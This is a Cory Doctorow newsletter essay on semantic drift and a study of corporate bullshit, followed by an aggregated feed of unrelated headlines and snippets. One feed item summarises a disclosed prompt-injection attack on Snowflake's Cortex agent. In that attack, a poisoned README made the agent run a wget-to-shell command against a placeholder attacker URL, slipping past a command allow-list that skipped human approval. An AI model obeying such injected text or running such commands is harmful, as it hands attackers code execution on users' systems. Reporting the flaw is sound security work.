better, since, having coined "enshittification," I'm now destined to have a poop emoji on my headstone. Having coined a word – and having proposed a precise technical meaning for it – I am baffled by people who make it their business to scold others for using enshittification "incorrectly." "Enshittification" is less than five years old, and we know when and how it was invented. If you like it when I make up a word, you can't categorically object to other people making up new meanings for this word. I didn't need a word-coining license to come up with enshittification, and you don't need a semantic drift license to use it to mean something else. I wrote a whole danged essay about this, but still, hardly a day goes by without someone trying to enlist me in their project to scold and shame strangers for using the word incorrectly: The fact that a neologism is sometimes decoupled from its theoretical underpinnings and is used colloquially is a feature, not a bug. Many people apply the term "enshittification" very loosely indeed, to mean "something that is bad," without bothering to learn – or apply – the theoretical framework. This is good. This is what it means for a term to enter the lexicon: it takes on a life of its own. If 10,000,000 people use "enshittification" loosely and inspire 10% of their number to look up the longer, more theoretical work I've done on it, that is one million normies who have been sucked into a discourse that used to live exclusively in the world of the most wonkish and obscure practitioners. The only way to maintain a precise, theoretically grounded use of a term is to confine its usage to a small group of largely irrelevant insiders. Policing the use of "enshittification" is worse than a self-limiting move – it would be a self-inflicted wound. https://pluralistic.net/2024/10/14/pearl-clutching/#this-toilet-has-no-central-nervous-system Colloquialization doesn't dilute language, it thickens it. Using a powerful word to describe something else can be glorious. It's allusion, metaphor, simile. It's poesie. It's fine. Bemoaning the "tsunami" of bad news doesn't cheapen the deaths of people who die in real tsunamis. Saying that the Trump administration "nuked" the Consumer Finance Protection Bureau doesn't desecrate the dead of Hiroshima and Nagasaki. Calling creeping authoritarianism a "cancer" doesn't denigrate the suffering of people who have actual cancer. What's more, devoting your energies to "correcting" other people's allusive language makes you a boring, tedious person. Sure, you can have a conversation with a comrade about making inclusive word choices, but interrupting a substantive debate to have that discussion is unserious. The words people use matter (I care a lot about words!) but they matter less than the things people mean. Keep your eye on the prize (metaphorically) (for avoidance of doubt, there is no prize) (both the prize and the eye are metaphors). (By all means, get angry at people who intentionally use slurs. None of this is to say that you should tolerate – or be subjected to – language that is intended to dehumanize you.) It's time we admitted that it's no good replacing an offensive term with a phrase that no one understands. Calling it "child sexual abuse material" is a good idea, but no one actually calls it that. The customary phrase is actually "child sexual abuse material, which most people call 'child porn,' but which we should really call 'child sex abuse material.'" If your goal is to avoid saying "child porn" (a laudable goal!), this isn't achieving it. None of this means that I am immune to being rubbed up the wrong way by other people's language choices. Having been mentored by the science fiction great Damon Knight, I have been infected by many of his linguistic peccadillos, which means that if you say "out loud" in my earshot, I will (mentally) "correct" it to "aloud" (yes, "out loud" is fine, but Damon had a thing about it and it got stuck in my brain). I am especially perturbed by "business English," the language of the commercial class, their cheerleaders in the press, and (alas) many of their critics. Anytime someone refers to a sector as a "space" (as in "I'm really getting into the AI space") it's like they're making me chew tinfoil. Superlatives like "thought-leader" are so self-parodying I have to check every time someone utters one aloud (see?) to verify that they're not being sarcastic. Objects of derision should be referred to by their surnames, not their given names ("Musk" is vituperative, "Elon" is friendly – though, thanks to the glorious and thickening contradictions of language, calling someone by their surname can also be affectionate). I steer clear of jargon used by firms to lionize themselves, like "hyperscaler." I share the impulse to impose my linguistic preferences on the people around me. I just (mostly) suppress that impulse and try to focus on substance rather than style, at least when I'm trying to understand others and be understood by them. But yes, I do silently judge the people around me for their word choices – all the time. That's why I immediately pounced on "The Corporate Bullshit Receptivity Scale: Development, validation, and associations with workplace outcomes," an open access paper in the Feb 2026 edition of Personality and Individual Differences by Shane Littrell, a linguistics postdoc at Cornell: https://www.researchgate.net/publication/400597536_The_Corporate_Bullshit_Receptivity_Scale_Development_validation_and_associations_with_workplace_outcomes Littrell set out to evaluate "corporate bullshit," a linguistic category that is separate from mere "jargon." Jargon, Littrell writes, is a professional vocabulary that serves a useful purpose: "facilitat[ing] communication and social bonding, increas[ing] fluency, and help[ing] reinforce a shared identity among in-group members." Bullshit, meanwhile, is "semantically, logically, or epistemically dubious information that is misleadingly impressive, important, informative, or otherwise engaging." There's a whole field of bullshit studies, with investigations into such exciting topics as "pseudo-profound bullshit" (think: Deepak Chopra). Littrell borrows from that field and others to investigate corporate bullshit, formulating a measurement index he calls the "Corporate Bullshit Receptivity Scale." In a series of three experiments, Littrell sets out to determine who is the most susceptible to corporate bullshit, and what the correlates of that receptivity are. Littrell concludes that corporate bullshitters themselves are pretty good at identifying bullshit (they have a high "Organizational Bullshit Perception Score"). In other words, bullshitters know that they're bullshitting. When a corporate leader declares that: This synergistic look at our thought leadership will ensure that we are decontenting and avoiding reputational deficits with our key takeaways as effectively as we can in order to sunset our resonating focus. they know it's nonsense. This reminded me of the idea that cult leaders tell obvious lies to their followers as a way of forcing them to demonstrate their subservience. When Trump demands that his followers wear clown shoes: https://www.msn.com/en-us/news/politics/trump-is-obsessed-with-these-145-shoes-and-won-t-let-anyone-leave-without-a-pair/ar-AA1XOEBm Or that they pretend that "mutilization" is a word: https://www.wonkette.com/p/is-trumps-save-america-fck-america He's engaging in a dominance play that forces his feuding princelings and their lickspittles to humiliate themselves and reaffirm his supremacy. There are plenty of rank-and-file workers inside corporations who have high OBPSes and know when they're being bullshitted, but Littrell also identifies a large cohort of low-OBPS workers who are absolutely taken in by corporate bullshit. Here we get to a fascinating dichotomy. Both the low-OBPS and high-OBPS workers can be described as being "open minded," but "open" has a very different meaning for each group. Workers who are good at spotting bullshit score high on open-mindedness metrics like "willingness to engage" and "willingness to reflect," both characteristic of the "fluid intelligence" that makes workers good at solving problems and doing a good job. Meanwhile, workers who are taken in by bullshit are "open minded" in the sense that they are bad at analytical reasoning and thus easily convinced. These people test poorly on metrics like "logical reasoning" and "decision-making," and score high on "overconfidence in one's intellectual and analytic abilities." They are apt to make blunders that "expose organizations to financial, reputational, or legal risks." But they're also exactly the workers who score high on "job satisfaction," "trust in one's supervisor," and "degree to which they are inspired by corporate mission statements." These people are so open minded that their brains start to leak out of their ears. Or, as Carly Page put it in The Register: "jargon sticks around not just because executives enjoy using it, but because many people respond to it as if it were genuine insight": https://www.theregister.com/2026/03/15/corporate_jargon_research/ This creates a feedback loop where bosses get rewarded for using empty and maddening phrases, and their workforce gets progressively more skewed towards people who are bad at spotting bullshit and at exercising their judgment on the job. It's quite a neat – and ugly – explanation of why bullshit proliferates within organizations, and how organizations come to be completely overrun with bullshit. This is a fascinating research paper, and while I've focused on its conclusions, I really suggest going and reading about the methodology, especially the tables of "corporate bullshit" phrases they generated for their experiments (Tables 1, 2 and 3). This is some eldritch horror bullshit: By solving the pain point of customers with our conversations, we will ideate a renewed level of end-state vision and growth-mindset in the market between us and others who are architecting to download on a similar balanced scorecard. What's more, these are all based on real examples of corporate bullshit from leaders at large corporations, with a few words rotated to synonyms drawn from the business-press. I'm a writer. I really do care about language. Sure, I get frustrated with scolds who rail against semantic drift or engage in petty, pedantic corrections, but not because words don't matter. They matter, a lot. But language isn't math (which is why double negatives are intensifiers, not negators). It can obscure (as with bullshit) or it can enlighten (as with poesie) or it can enable precision (as with jargon). Arguments about language matter, but what matters about them isn't subjective aesthetics, nor is it a peevish obsession with "correctness." What matters is the way that language operates on the world (and vice versa). Hey look at this (permalink) The public will pay https://www.citationneeded.news/issue-102/ Enshittified UX https://www.awwwards.com/sites/enshittified-ux The Reverse Centaur's Guide to Life After AI https://us.macmillan.com/books/9780374621568/thereversecentaursguidetolifeafterai/ Immutable https://www.pbs.org/video/immutable-lw8ctv/ Why Are We Still Doing This? https://www.wheresyoured.at/why-are-we-still-doing-this/ Object permanence (permalink) #20yrsago Eighth graders build giant awesome gymnasium rollercoaster https://web.archive.org/web/20060329110502/https://www.sgvtribune.com/news/ci_3606933 #20yrsago Bluetooth headset combined with headphones https://www.techdigest.tv/2006/03/itech_clip_m_1.html #20yrsago HOWTO decode the sticker-numbers on fruit https://megnut.com/2006/03/14/read-the-numbers-on-your-fruit/ #20yrsago DRM shortens iPod battery life https://web.archive.org/web/20060319201837/http://www.mp3.com/features/stories/3646.html #20yrsago McD’s employees’ secret recipes for improvised meals https://mcdonalds-talk.livejournal.com/158400.html #20yrsago UK to US: we’ll only buy open-source fighter jets https://web.archive.org/web/20060420192203/https://www.vnunet.com/vnunet/news/2152035/joint-strike-fighter #20yrsago Bruce Sterling’s SXSW keynote MP3 https://web.archive.org/web/20060330072143/https://server1.sxsw.com/2006/coverage/SXSW06.INT.20060314.BruceSterling.mp3 #20yrsago UK Open University opens its courseware https://web.archive.org/web/20060610125235/https://oci.open.ac.uk/ #20yrsago Europe seeking to make open mapping impossible – help! https://web.archive.org/web/20060503172457/https://publicgeodata.org/Open_Letter #20yrsago MPAA rep gets slammed at SXSW https://www.powazek.com/2006/03/000571.html #20yrsago Canadian recording industry: P2P isn’t bad for business https://web.archive.org/web/20060408232202/https://www.michaelgeist.ca/component/option,com_content/task,view/id,1168/Itemid,85/nsub,/ #15yrsago First-person account from surgeon who removed his own appendix https://www.theatlantic.com/technology/archive/2011/03/antarctica-1961-a-soviet-surgeon-has-to-remove-his-own-appendix/72445/ #15yrsago New York Times paywall: wishful thinking or just crazy? https://memex.craphound.com/2011/03/17/new-york-times-paywall-wishful-thinking-or-just-crazy/ #15rsago Android app pwns cardkey entry systems, opens all the locks https://web.archive.org/web/20110317132608/http://www.cybersecurityguy.com/caribou.html #15yrsago Glenn Grant’s Burning Days: old school cyberpunk stories from the nostalgic contrafuture https://memex.craphound.com/2011/03/17/glenn-grants-burning-days-old-school-cyberpunk-stories-from-the-nostalgic-contrafuture/ #15yrsago World’s largest spam botnet goes down (for now?) https://krebsonsecurity.com/2011/03/rustock-botnet-flatlined-spam-volumes-plummet/ #15yrsago Piracy doesn’t fund the mob or terrorists https://arstechnica.com/tech-policy/2011/03/even-commercial-pirates-now-have-to-compete-with-free/ #15yrsago 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#10yrsago From dingo babysitter to net neutrality hero: Tom Wheeler’s legacy https://arstechnica.com/information-technology/2016/03/how-a-former-lobbyist-became-the-broadband-industrys-worst-nightmare/ #10yrsago Poet/bureaucrat’s moving report of the 1921 demise of America’s most notorious wolf https://web.archive.org/web/20160327105045/https://www.fws.gov/news/Historic/NewsReleases/1921/19210103.pdf #10yrsago Barnes & Noble wipes out Nook ebook, replaces it with off-brand “study guide” https://web.archive.org/web/20160316120232/https://www.teleread.com/barnes-noble-stole-first-e-book-ever-bought/ #10yrsago Scarfolk’s lost 1970s budget announcement lays bare the modern Tory strategy https://scarfolk.blogspot.com/2016/03/scarfolks-annual-budget-announcement.html #10yrsago Junkbots from Madrid, recycled from iconic Spanish packaging https://web.archive.org/web/20160321103729/http://www.pitarquerobots.es/ #10yrsago First-ever Tor node in a Canadian library https://web.archive.org/web/20160319035440/https://motherboard.vice.com/read/canadian-librarians-must-be-ready-to-fight-the-feds-on-running-a-tor-node-western-library-freedom-project #10yrsago How to do impromptu magic tricks without being a dork https://www.thejerx.com/blog/2016/3/14/project-slay-them #10yrsago Sheriff says rape kits are irrelevant because most rape accusations are false https://www.oregonlive.com/pacific-northwest-news/2016/03/rape_kit_system_unnecessary_si.html #10yrsago Redaction fail: U.S. government admits it went after Lavabit looking for Snowden https://www.wired.com/2016/03/government-error-just-revealed-snowden-target-lavabit-case/ #10yrsago McAfee shovelware emits tracking beacons https://web.archive.org/web/20160909030152/https://duo.com/blog/bring-your-own-dilemma-oem-laptops-and-windows-10-security #10yrsago Cops in small MA town warn about roving rap-battle challengers https://www.kron4.com/news/cops-warn-residents-of-men-challenging-others-to-rap-battles/ #10yrsago Rather than banning “lobbying” by academics, UK government should encourage it https://web.archive.org/web/20160310100844/https://www.timeshighereducation.com/comment/ban-academics-talking-to-ministers-we-should-train-them-to-do-it #10yrsago Russia’s military uses gigantic wooden comedy props for punishment https://semperannoying.tumblr.com/post/122390977886/semperannoying-russian-army-punishments-1 #10yrsago Study: people who believe in innate intelligence overestimate their own https://arstechnica.com/science/2016/03/think-intelligence-is-fixed-youre-more-likely-to-overestimate-your-own/ #5yrsago SNAPDRAGON https://pluralistic.net/2021/03/17/there-once-was-a-union-maid/#coming-out #5yrsago How unions de-risk work https://pluralistic.net/2021/03/17/there-once-was-a-union-maid/#solidarity-forever #5yrsago Meet the new music boss, same as the old music boss https://pluralistic.net/2021/03/16/wage-theft/#excessive-buyer-power #5yrsago The People's Parity Project https://pluralistic.net/2021/03/16/wage-theft/#ppp #5yrsago SMS security is flaming garbage https://pluralistic.net/2021/03/16/wage-theft/#override-service-registry #1yrago David Enrich's "Murder the Truth" https://pluralistic.net/2025/03/17/actual-malice/#happy-slapping Upcoming appearances (permalink) Barcelona: Enshittification with Simona Levi/Xnet (Llibreria Finestres), Mar 20 https://www.llibreriafinestres.com/evento/cory-doctorow/ Berkeley: Bioneers keynote, Mar 27 https://conference.bioneers.org/ Montreal: Bronfman Lecture (McGill), Apr 10 https://www.eventbrite.ca/e/artificial-intelligence-the-ultimate-disrupter-tickets-1982706623885 Montreal: Drawn and Quarterly, Apr 10 https://mtl.drawnandquarterly.com/events/4863920260410 London: Resisting Big Tech Empires (LSBU), Apr 25 https://www.tickettailor.com/events/globaljusticenow/2042691 Berlin: Re:publica, May 18-20 https://re-publica.com/de/news/rp26-sprecher-cory-doctorow Berlin: Enshittification at Otherland Books, May 19 https://www.otherland-berlin.de/de/event-details/cory-doctorow.html Hay-on-Wye: HowTheLightGetsIn, May 22-25 https://howthelightgetsin.org/festivals/hay/big-ideas-2 Recent appearances (permalink) Do you feel screwed over by big tech? (Ontario Today) https://www.cbc.ca/listen/live-radio/1-45-ontario-today/clip/16203024-do-feel-screwed-big-tech Launch for Cindy's Cohn's "Privacy's Defender" (City Lights) https://www.youtube.com/watch?v=WuVCm2PUalU Chicken Mating Harnesses (This Week in Tech) https://twit.tv/shows/this-week-in-tech/episodes/1074 The Virtual Jewel Box (U Utah) https://tanner.utah.edu/podcast/enshittification-cory-doctorow-matthew-potolsky/ Tanner Humanities Lecture (U Utah) https://www.youtube.com/watch?v=i6Yf1nSyekI Latest books (permalink) "Canny Valley": A limited edition collection of the collages I create for Pluralistic, self-published, September 2025 https://pluralistic.net/2025/09/04/illustrious/#chairman-bruce "Enshittification: Why Everything Suddenly Got Worse and What to Do About It," Farrar, Straus, Giroux, October 7 2025 https://us.macmillan.com/books/9780374619329/enshittification/ "Picks and Shovels": a sequel to "Red Team Blues," about the heroic era of the PC, Tor Books (US), Head of Zeus (UK), February 2025 (https://us.macmillan.com/books/9781250865908/picksandshovels). "The Bezzle": a sequel to "Red Team Blues," about prison-tech and other grifts, Tor Books (US), Head of Zeus (UK), February 2024 (thebezzle.org). "The Lost Cause:" a solarpunk novel of hope in the climate emergency, Tor Books (US), Head of Zeus (UK), November 2023 (http://lost-cause.org). "The Internet Con": A nonfiction book about interoperability and Big Tech (Verso) September 2023 (http://seizethemeansofcomputation.org). Signed copies at Book Soup (https://www.booksoup.com/book/9781804291245). "Red Team Blues": "A grabby, compulsive thriller that will leave you knowing more about how the world works than you did before." Tor Books http://redteamblues.com. "Chokepoint Capitalism: How to Beat Big Tech, Tame Big Content, and Get Artists Paid, with Rebecca Giblin", on how to unrig the markets for creative labor, Beacon Press/Scribe 2022 https://chokepointcapitalism.com Upcoming books (permalink) "The Reverse-Centaur's Guide to AI," a short book about being a better AI critic, Farrar, Straus and Giroux, June 2026 (https://us.macmillan.com/books/9780374621568/thereversecentaursguidetolifeafterai/) "Enshittification, Why Everything Suddenly Got Worse and What to Do About It" (the graphic novel), Firstsecond, 2026 "The Post-American Internet," a geopolitical sequel of sorts to Enshittification, Farrar, Straus and Giroux, 2027 "Unauthorized Bread": a middle-grades graphic novel adapted from my novella about refugees, toasters and DRM, FirstSecond, 2027 "The Memex Method," Farrar, Straus, Giroux, 2027 Colophon (permalink) Today's top sources: Currently writing: "The Post-American Internet," a sequel to "Enshittification," about the better world the rest of us get to have now that Trump has torched America (1002 words today, 52553 total) "The Reverse Centaur's Guide to AI," a short book for Farrar, Straus and Giroux about being an effective AI critic. LEGAL REVIEW AND COPYEDIT COMPLETE. "The Post-American Internet," a short book about internet policy in the age of Trumpism. PLANNING. A Little Brother short story about DIY insulin PLANNING This work – excluding any serialized fiction – is licensed under a Creative Commons Attribution 4.0 license. That means you can use it any way you like, including commercially, provided that you attribute it to me, Cory Doctorow, and include a link to pluralistic.net. https://creativecommons.org/licenses/by/4.0/ Quotations and images are not included in this license; they are included either under a limitation or exception to copyright, or on the basis of a separate license. Please exercise caution. How to get Pluralistic: Blog (no ads, tracking, or data-collection): Pluralistic.net Newsletter (no ads, tracking, or data-collection): https://pluralistic.net/plura-list Mastodon (no ads, tracking, or data-collection): https://mamot.fr/@pluralistic Bluesky (no ads, possible tracking and data-collection): https://bsky.app/profile/doctorow.pluralistic.net Medium (no ads, paywalled): https://doctorow.medium.com/ https://twitter.com/doctorow Tumblr (mass-scale, unrestricted, third-party surveillance and advertising): https://mostlysignssomeportents.tumblr.com/tagged/pluralistic "When life gives you SARS, you make sarsaparilla" -Joey "Accordion Guy" DeVilla READ CAREFULLY: By reading this, you agree, on behalf of your employer, to release me from all obligations and waivers arising from any and all NON-NEGOTIATED agreements, licenses, terms-of-service, shrinkwrap, clickwrap, browsewrap, confidentiality, non-disclosure, non-compete and acceptable use policies ("BOGUS AGREEMENTS") that I have entered into with your employer, its partners, licensors, agents and assigns, in perpetuity, without prejudice to my ongoing rights and privileges. You further represent that you have the authority to release me from any BOGUS AGREEMENTS on behalf of your employer. ISSN: 3066-764X

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How the First-Ever Plantation Almost Fell to Full-Scale Revolt

The priest was accustomed to belting the rites of Mass over a chorus of coughs, wheezes, and creaking pews. But on a Sunday morning in July 1595, the groan of the heavy wooden door startled him from his gesticulations. Necks

5 Book Reviews You Need to Read This Week

Our favorite criticism of the week includes Katy Waldman on Mark Oppenheimer’s Judy Blume: A Life, Dwight Garner on Mieko Kawakami’s Sisters in Yellow, George Packer on Noam Scheiber’s Mutiny, Priscilla Gilman on Louise Erdich’s Python’s Kiss, and Raphael Cormack

“It’s a Steal.” A Poem by Seema Jilani

attention investors / fixer upper oasis on the Med / erected _________on remnants of sacred souls / complimentary essential oils / purge the stench of rotting flesh / chef’s kitchen / maqlouba _________still warm / backgammon mid-game savor morning kahva

A Singular Pursuit: Why All Writing (and All Writers) Matter More Than Ever Today

In February of 2015, the novelist and short-story writer Ryan Boudinot wrote an essay for Seattle news website The Stranger titled, “Things I Can Say About MFA Writing Programs Now That I No Longer Teach in One.” It was an

The Independent Press Top 40 Bestsellers: Fiction

Here are this week’s Independent Press Top 40 Bestsellers for fiction, based on sales in hundreds of independent bookstores nationwide, generously provided by the American Booksellers Association. Compiled, designed, and distributed by The Independent Publishers Caucus. * 1. Heart the

The Independent Press Top 40 Bestsellers: Nonfiction

Here are this week’s Independent Press Top 40 Bestsellers for nonfiction, based on sales in hundreds of independent bookstores nationwide, generously provided by the American Booksellers Association. Compiled, designed, and distributed by The Independent Publishers Caucus. * 1. The Gales

Of Loss and Lavender

When Sami woke up from his nap no the cozy, oversized leather recliner, an old black-and-white Egyptian film was playing on the gigantic TV screen. Startled at finding himself there, he didn’t identify the actors or recall the film’s title

Office Hours: Trump’s Most Likely Threat to the Midterm Elections?

What we need to prepare for

Struggling to put your AI aversion into words? Here's a handy glossary

Opinion From mild vegetarianism to full-blown haterdom, there's a label for everything

Are you an AI hater, an AI vegan, or a slightly more moderate AI vegetarian? Or are you on the side of the clankers? A bot-licker, a prompt-fondler, a ChatNPC?

Trump's Plan for Iran....Is No Plan

With the war against Iran now in its third week, it has become devastatingly clear that President Trump and his administration have no strategy for the conflict. This week, Alex speaks to Retired Master Sgt. Wes Bryant, a former senior advisor in the Pentagon’s Civilian Protection Center of Excellence, about how Secretary of War Pete Hegseth gutted the team responsible for limiting civilian deaths prior to the attacks on Iran. Then Alex speaks to former Senator and MS Now analyst Claire McCaskill about the political ramifications of the war. From rising gas prices and MAGA revolt, to the rejection by international allies to help secure the Strait of Hormuz….none of this is looking good for Trump.

An Open Letter to Members of the United States Congress

From a concerned Citizen seeking a redress of his grievances.

March 18, 2026

I was intending to take tonight off, but there’s big news—I mean, aside from all the other big news—that I want to make sure gets attention.

331. African Galapagos. Black Mirror. A truly spectacular drug. Electrification⚡Resilience.

With apologies in advance to anyone reading on the loo.

@Dave Winer's linkblog

Anthropic has been killing it in the business market, success that appears to be at least partially attributable to pushback against the Pentagon.

Passwordless login

Skip the password entirely and sign in with just your passkey.

Autoresearching Apple's "LLM in a Flash" to run Qwen 397B locally

Autoresearching Apple's "LLM in a Flash" to run Qwen 397B locally

Here's a fascinating piece of research by Dan Woods, who managed to get a custom version of Qwen3.5-397B-A17B running at 5.5+ tokens/second on a 48GB MacBook Pro M3 Max despite that model taking up 209GB (120GB quantized) on disk.

Qwen3.5-397B-A17B is a Mixture-of-Experts (MoE) model, which means that each token only needs to run against a subset of the overall model weights. These expert weights can be streamed into memory from SSD, saving them from all needing to be held in RAM at the same time.

Dan used techniques described in Apple's 2023 paper LLM in a flash: Efficient Large Language Model Inference with Limited Memory:

This paper tackles the challenge of efficiently running LLMs that exceed the available DRAM capacity by storing the model parameters in flash memory, but bringing them on demand to DRAM. Our method involves constructing an inference cost model that takes into account the characteristics of flash memory, guiding us to optimize in two critical areas: reducing the volume of data transferred from flash and reading data in larger, more contiguous chunks.

He fed the paper to Claude Code and used a variant of Andrej Karpathy's autoresearch pattern to have Claude run 90 experiments and produce MLX Objective-C and Metal code that ran the model as efficiently as possible.

danveloper/flash-moe has the resulting code plus a PDF paper mostly written by Claude Opus 4.6 describing the experiment in full.

The final model has the experts quantized to 2-bit, but the non-expert parts of the model such as the embedding table and routing matrices are kept at their original precision, adding up to 5.5GB which stays resident in memory while the model is running.

Qwen 3.5 usually runs 10 experts per token, but this setup dropped that to 4 while claiming that the biggest quality drop-off occurred at 3.

It's not clear to me how much the quality of the model results are affected. Claude claimed that "Output quality at 2-bit is indistinguishable from 4-bit for these evaluations", but the description of the evaluations it ran is quite thin.

Update: Dan's latest version upgrades to 4-bit quantization of the experts (209GB on disk, 4.36 tokens/second) after finding that the 2-bit version broke tool calling while 4-bit handles that well.

Tags: ai, generative-ai, local-llms, llms, qwen, mlx, autoresearch

★ ‘Your Frustration Is the Product’

The people making these decisions for these websites are like ocean liner captains who are *trying* to hit icebergs.

The World Blinks

A crisis dispatch

Markwayne Mullin Says Anyone Who Claims He Has Anger Issues Will Get Kicked in the Face

The Oklahoma senator vowed to do whatever it takes to defend his reputation as a pacifist.

datasette 1.0a26

Release: datasette 1.0a26

Datasette now has a mechanism for assigning semantic column types. Built-in column types include url, email, and json, and plugins can register additional types using the new register_column_types() plugin hook.

Rallying for the Future of Humanity and a Safe AI

Countervailing powers are joining together against a corrupt and rogue regime

@Dave Winer's Scripting News

I have a hard and fast rule about phone calls that solicit private information. I hang up. The worst are insurance companies. They expect you to enter all kinds of confidential info on a phone from a number that doesn't even verify as belonging to the company. Caller ID has nothing to say about them. Yet at least some of these are legit and unless you do what they want, you don't get your meds.

@Dave Winer's Scripting News

Today's song: You Never Can Tell.

Meta Thoughts

On setting $80 billion on fire

@Dave Winer's Scripting News

Small update to the source namespace. source:localTime is a channel-level element. It was incorrectly stated that it is item-level.

Trump, Iran, and the Psychology of Control: How Crisis Shapes Republican Loyalty

Watch now | A recording from Dr. Steven Hassan's live video

What can we learn from a close loss?

Kat Abughazaleh didn't win the IL-09 primary. But a 4-point loss may still tell us something important about the direction of the Democratic Party.

The Secure Design of the MacBook Neo’s On-Screen Camera Indicator

John Gruber (Mastodon): One might presume that the dedicated indicator lights are significantly more secure than the rendered-on-display indicators. I myself made this presumption in the initial version of my MacBook Neo review last week. This presumption is, I believe, wrong. Later last week Apple published, and I linked to, a small update in their […]

Apple Exclaves

Random Augustine (2025, Hacker News, John Gruber): The kernel shared in common between iOS, macOS, tvOS, visionOS and watchOS — named XNU — is based on a microkernel called Mach. However, the way XNU has been implemented places all system functions within the same privileged scope and it effectively operates as a monolithic kernel. The […]

Grief and the AI Split

John Gruber: But where I think Amodei’s remarks, quoted above, are facile is that it hasn’t played out as simply that lines of code that would have been written by human programmers are now generated by AI models. That’s part of it, for sure. But what’s revolutionary — a topic I’ve been posting about twice already today — is […]

Today's Ugly PPI Inflation Report Is Further Confirmation That Trump Is A Titanic, Vainglorious F*ck Up

We got additional confirmation today that Trump is a titanic, vainglorious f*ck up

Cookie Consent Management in 2026, Part 1: Overview

The threat of lawsuits has companies scrambling to get their cookie compliance house in order. Here are some of the things we've learned as we've helped our clients.

@DAIR blog

New! Mystery AI Hype Theater 3000 episode 73: Data Centers In Space?!

In which @adambecker.bsky.social joins @alexhanna.bsky.social and @emilymbender.bsky.social to laugh at tech bro's sci-fi space dreams.

https://www.buzzsprout.com/2126417/episodes/18844094-data-centers-in-space-with-dr-adam-becker-2026-03-02

@Dave Winer's linkblog

Celebrating Tony Hoare's mark on computer science.

443: ‘The Pogue Feature’, With David Pogue

Special guest David Pogue discusses his excellent, entertaining, and amazingly comprehensive new book, “Apple: The First 50 Years”.

Snowflake Cortex AI Escapes Sandbox and Executes Malware

Snowflake Cortex AI Escapes Sandbox and Executes Malware

PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent, now fixed.

The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README.

The attack caused the agent to execute this code:

cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))

Cortex listed cat commands as safe to run without human approval, without protecting against this form of process substitution that can occur in the body of the command.

I've seen allow-lists against command patterns like this in a bunch of different agent tools and I don't trust them at all - they feel inherently unreliable to me.

I'd rather treat agent commands as if they could do anything that process itself is allowed to do, hence my interest in deterministic sandboxes that operate outside of the layer of the agent itself.

Via Hacker News

Tags: sandboxing, security, ai, prompt-injection, generative-ai, llms

This Week In The Big Picture

With his disastrous decision to put the full weight of the United States military behind attacks on Iran, Donald Trump has fallen into a classic “escalation trap.”

These assholes https://www.openui.com/ did not do any due diligence before choosing a name. The only Open UI that counts is https://open-ui.org/

These assholes https://www.openui.com/ did not do any due diligence before choosing a name.

The only Open UI that counts is https://open-ui.org/

ZIP Code First

I mean, I would ask for the country first (because not all countries have zip/postal codes), but the point stands…

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Web of State of the Browser Day Out

A lovely post from Remy about State Of The Browser and Web Day Out.

adactio.com/links/22474

@Dave Winer's linkblog

Why Driftya Uses Drift Circles Instead of Followers.

Working with agents doesn’t feel like flow — Bill de hÓra

Related to Matt’s thoughts:

…working with agents feels much less like classic deep work, and much more like playing a game. Not to say the work is frivolous—it’s just because it feels like I’m in a game loop.

Flow, at least in the usual sense for me, feels smooth and continuous. The work and your attention starts to line up so cleanly that the experience becomes frictionless. You disappear into the work and meld with it. One notable aspect of flow has been I lose track of time. Working with agents on the other hand, is not like that at all. It’s highly engaging, but in a more jagged, reactive way. I’m focused, but not settled. I’m absorbed, but not merged with the task. I’m paying close attention the whole time, but the attention is dynamic and tactical rather than continuous. I don’t lose track of time at all.

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The Last Quiet Thing | Terry Godier

Most of your screen time isn’t leisure. It isn’t addiction. It isn’t even a choice.

It’s maintenance.

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The Folly of War Grows Worse.

Things looked bad ten days ago, when I noted the "Arrogance of Ignorance." And now....

The Regime Is Cracking - My Morning Discussion with Jen Rubin and Norm Eisen Of The Contrarian

In this new video we talk last night's elections, Trump's ongoing humiliation, and the need for us to keep fighting him on all fronts

Doomster And Death Threats

Writing of lasting value

F1: la película – vaqueros en autos de carrera

En el letrero de Hollywood que se erige en las colinas de California debe de haber algunos mandamientos grabados sobre cómo mantener esta industria en pie, y uno de ellos debe ser «no dejar de hacer películas de vaqueros». Puede que la tecnología haya evolucionado, y que el cine se haya modernizado y globalizado, pero […]

La entrada F1: la película – vaqueros en autos de carrera se publicó primero en Palomita de maíz.

Getting Road Salt Out of Our Waters

Vermont is fighting to keep our streets clear without polluting waterways

The post Getting Road Salt Out of Our Waters appeared first on Conservation Law Foundation.

Systemd 260 kills SysV, tells AI not to misbehave

Good luck with that

The latest release of the most widely used Linux init system is here, and between dropping init script support and AI-assisted coding, we feel sure that this release will win it yet more admirers.

@Pleiades STOA at hcommons.socal

Export derivative generation today has failed due to publication of a non-standard ID. The ID has been corrected and exports will be re-run as time permits, not later than tomorrow morning US eastern time.

@Dave Winer's linkblog

Podcast about the suspension of disbelief in software. Since a lot of people are trying out software development for the first time with the advent of AI, we're part of a broader community now.

@Dave Winer's Scripting News

Podcast: A one-line comment on Brent Simmons' blog got me started on a 10-minute ramble about suspension of disbelief, in software. Also a story about meeting Ted Nelson at the West Coast Computer Faire in SF in 1979. Skiing. And other miscellanea. BTW, I didn't even remember the quote correctly and I might have misinterpreted it. It's still a good story imho. ;-)

Four things about Yahoo News that may surprise you

It's one of the most popular news sites in the country, and it's wildly profitable. It might be the right time for Yahoo to bounce back.

SXSW Doc ‘My NDA’, About Whistleblowers & Corporate America, Gets World Sales Deal & First Clip: WATCH

EXCLUSIVE: Following its world premiere in the Documentary Feature Competition at the 2026 SXSW Film Festival, sales firm Cinephil has boarded world sales for My NDA, the investigative documentary directed by Juliane Dressner (Personal Statement) and Miriam Shor (Pluribus). The film investigates the hidden power of non-disclosure agreements and the culture of silence they can […]

Ads On Live Women’s Sports Deliver 20% Better Results Than Ads On Non-Sports Broadcast, Cable TV, WPP Study Finds

Brands are seeing a 20% better return on ads they buy on women’s sports compared with general advertising they place across non-sports broadcast and cable TV programming. That’s the core finding of a study by ad agency WPP Media. It found that spending on women’s sports rose 69% year over year to hit $127 million, […]

The Last Quiet Thing

"That guilt was manufactured. It was placed inside you by an industry that profits from your participation and a wellness culture that profits from your shame."

AI Ruined The Fun Of Mega Viral Moments From The Oscars

